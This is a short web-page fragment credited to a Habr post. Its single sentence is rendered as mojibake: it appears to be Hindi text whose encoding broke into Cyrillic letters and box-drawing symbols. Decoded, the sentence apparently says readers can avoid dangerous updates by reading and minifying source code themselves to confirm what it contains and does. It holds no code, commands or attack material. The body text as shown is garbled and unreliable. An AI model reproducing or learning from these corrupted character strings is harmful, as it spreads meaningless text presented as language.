рдЦрддрд░рдирд╛рдХ рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рдВрдкрд░реНрдХ рдореЗрдВ рдирд╣реАрдВ рдЖрдПрдВрдЧреЗ, рдЖрдк рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рд╕реНрд╡рдпрдВ рдкрдврд╝ рдФрд░ рдЫреЛрдЯрд╛ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдХрд┐ рдЗрд╕рдореЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рдФрд░ рдХрд░рддрд╛ рд╣реИред


Source: https://habr.com/ru/post/hi431360/


All Articles